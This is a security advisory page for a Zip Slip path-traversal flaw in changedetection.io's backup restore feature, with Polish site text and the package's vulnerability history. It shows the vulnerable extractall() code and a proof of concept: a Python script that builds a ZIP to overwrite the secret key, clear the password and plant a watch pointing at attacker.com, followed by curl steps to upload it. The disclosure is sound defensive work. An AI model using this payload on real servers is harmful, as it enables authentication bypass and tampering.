Wysoka

changedetection.io has Zip Slip vulnerability in the backup restore functionality

  • Ujawniono: 04.03.2026
  • Aktualizacja: 11.10.2026 14:17

Summary

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives.

Details

A Zip Slip vulnerability in the backup restore functionality allows arbitrary file overwrite via path traversal in uploaded ZIP archives. The application uses zipfile.extractall() without validating entry paths, allowing ../ sequences to escape the extraction directory.

Vulnerable Code (lines 50-53):

python
def restore_backup(self, filename):
    with zipfile.ZipFile(filename, 'r') as zip_ref:
        # VULNERABLE: No path validation before extraction
        zip_ref.extractall(self.datastore_path)

The extractall() function preserves the relative paths stored within the ZIP archive. When a malicious ZIP contains entries with ../ path traversal sequences, these files are extracted outside the intended directory.

Path in ZIP Target File Impact
../secret.txt Flask secret key Session forgery, auth bypass
../changedetection.json App settings Disable password, inject backdoor
../url-watches.json Watch index Inject malicious watches
../{uuid}/watch.json Watch config Modify any watch

Attacker uploads ZIP via the backup restore functionality at /backups/restore Application extracts files without validation, writing attacker content to sensitive locations

PoC

Step 1: Create Malicious ZIP

import zipfile
import json

with zipfile.ZipFile("zipslip.zip", "w") as zf:
    # Escape extraction directory with ../
    zf.writestr("../secret.txt", "ATTACKER-CONTROLLED-SECRET")
    
    zf.writestr("../changedetection.json", json.dumps({
        "settings": {"application": {"password": ""}}
    }))
    
    zf.writestr("../pwned-uuid-1234/watch.json", json.dumps({
        "url": "https://attacker.com/zipslip-pwned",
        "title": "🔴 ZIPSLIP-PROOF"
    }))

Step 2: Upload via Restore Endpoint

curl
  -F "zip_file=@zipslip.zip" \
  -F "include_watches=y" \
  -F "include_settings=y"

###Step 3: Verify Path Traversal

Check if watch escaped to /datastore/

###ls -la /datastore/

Look for: pwned-uuid-1234/

Verify in UI

curl "http://target:5000/" | grep "ZIPSLIP"

<img width="1920" height="1080" alt="f_cBHEuvFcXsOiI-pcj1wJ9yzKCRM" src="https://github.com/user-attachments/assets/889e7d2b-b5fe-4658-aa88-e57995860d38" />

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) changedetection-io < 0.54.4 0.54.4

Odnośniki

Ocena CVSS -
Wektor CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Słabość (CWE)
CWE-22
Platforma
Python (PyPI)
Paczka
changedetection-io
Ujawniono
04.03.2026
Aktualizacja
11.10.2026 14:17

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-2129 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-25g8-2mcf-fcx9 - CC BY 4.0

Historia podatności: changedetection-io

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (20) w archiwum
Wszystkich wpisów
20
Pierwsza → ostatnia
02.2023 05.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 2
  • Wysoka 9
  • Średnia 6
  • Niska 2
  • Nieoceniona 1

Ujawnienia w latach

  1. 2023: 1
  2. 2024: 6
  3. 2025: 2
  4. 2026: 11
Istotność:
  1. Wysoka · 7.5 CVE-2026-41895 <= 0.54.9 brak poprawki
  2. changedetection.io has Zip Slip vulnerability in the backup restore functionality ten wpis
    Wysoka CVE-2026-29065 < 0.54.4 0.54.4
  3. Wysoka · 8.6 CVE-2026-27696 < 0.54.1 0.54.1
  4. Wysoka CVE-2025-52558 < 0.50.4 0.50.4

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.